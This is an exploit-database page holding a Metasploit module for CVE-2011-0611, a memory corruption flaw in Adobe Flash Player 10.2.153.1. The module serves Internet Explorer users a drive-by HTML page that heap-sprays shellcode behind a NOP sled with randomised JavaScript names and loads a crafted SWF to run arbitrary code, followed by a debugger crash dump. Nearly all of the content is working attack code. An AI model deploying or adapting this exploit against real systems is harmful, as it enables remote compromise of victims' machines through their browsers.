[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
# Published : 2011-04-16
# Author : metasploit
# Previous Title : OpenText FirstClass Client v 11.005 Code Execution
# Next Title : Adobe Flash Player < 10.1.53 .64 Action Script Type Confusion Exploit (DEP+ASLR bypass)


			
### $Id: adobe_flashplayer_flash10o.rb 12330 2011-04-16 02:09:33Z sinn3r $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = NormalRanking	include Msf::Exploit::Remote::HttpServer::HTML	def initialize(info={})		super(update_info(info,			'Name'           => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",			'Description'    => %q{					This module exploits a vulnerability in Adobe Flash Player that was discovered, and				has been exploited actively in the wild.  By embedding a specially crafted .swf file,				Adobe Flash crashes due to an invalid use of an object type, which allows attackers to				overwrite a pointer in memory, and results arbitrary code execution.			},			'License'        => MSF_LICENSE,			'Version'        => "$Revision: 12330 $",			'Author'         =>				[					'sinn3r',				],			'References'     =>				[					[ 'CVE', '2011-0611' ],					[ 'OSVDB', '71686' ],					[ 'BID', '47314' ],					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],					[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],					[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],					[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],					[ 'URL', 'http://secunia.com/blog/210' ],				],			'Payload'        =>				{					'BadChars' => "/x00",				},			'DefaultOptions' =>				{					'ExitFunction'         => "process",					'InitialAutoRunScript' => 'migrate -f',				},			'Platform'       => 'win',			'Targets'        =>				[					[ 'IE 6/7 on Windows XP SP3 and Windows Vista', {} ],				],			'Privileged'     => false,			'DisclosureDate' => "Apr 11 2011",			'DefaultTarget'  => 0))	end	def on_request_uri(cli, request)		agent = request.headers['User-Agent']		if agent !~ /MSIE /d/./d/ and agent !~ /NT /d/./d/			send_not_found(cli)			return		end		if request.uri =~ //.swf/			print_status("Sending trigger SWF...")			send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )			return		end		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))		nopsled   = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') * 8 , Rex::Arch.endian(target.arch))		swf_name              = rand_text_alpha(rand(3))		js_func_name          = rand_text_alpha(rand(6) +3)		js_var_blocks_name    = rand_text_alpha(rand(6) + 3)		js_var_shell_name     = rand_text_alpha(rand(6) + 3)		js_var_nopsled_name   = rand_text_alpha(rand(6) + 3)		js_var_index_name     = rand_text_alpha(rand(6) + 3)		js_var_padding_offset = rand_text_alpha(rand(6) + 3)		trigger_file_name     = "#{get_resource}/#{swf_name}.swf"		html = <<-EOS		<html>		<head>		<script>		function #{js_func_name}() {			var #{js_var_blocks_name} = new Array();			var #{js_var_shell_name} = unescape("#{shellcode}");			var #{js_var_nopsled_name} = unescape("#{nopsled}");			var #{js_var_padding_offset} = #{js_var_shell_name}.length;			while (#{js_var_nopsled_name}.length < 0x10101) { #{js_var_nopsled_name} += unescape("#{nopsled}") };			#{js_var_nopsled_name} = #{js_var_nopsled_name}.substring(#{js_var_padding_offset}, #{js_var_nopsled_name}.length);			#{js_var_blocks_name}[0] = #{js_var_nopsled_name} + #{js_var_shell_name};			for (#{js_var_index_name}=1; #{js_var_index_name} < 0x802; #{js_var_index_name}++) {				#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_blocks_name}[0].substring(0, #{js_var_blocks_name}[0].length);			}		}		#{js_func_name}();		</script>		</head>		<body>		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">		<param name="movie" value="#{trigger_file_name}" />		<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"		pluginspage="http://www.macromedia.com/go/getflashplayer">		</embed>		</body>		</html>		EOS		html = html.gsub(/^/t/t/, "")		print_status("Sending malicious HTML to #{cli.peerhost}:#{cli.peerport}")		send_response(cli, html, {'Content-Type' => "text/html"} )	end	def exploit		path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")		f = File.open(path, "rb")		@trigger = f.read(f.stat.size)		f.close		super	endend=begin0:000> reax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0         nv up ei pl nz na po nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202Flash10o+0xd01f6:100d01f6 ff5008          call    dword ptr [eax+8]    ds:0023:11111118=????????0:000> dd ecx01d650b0  11111110 00000000 00000000 0000000001d650c0  00000000 00000000 00000000 0000000001d650d0  00000000 00000000 00000000 0000000001d650e0  00000000 00000000 00000000 0000000001d650f0  00000000 00000000 00000000 0000000001d65100  00000000 00000000 00000000 0000000001d65110  00000000 00000000 00000000 0000000001d65120  00000000 00000000 00000000 00000000=end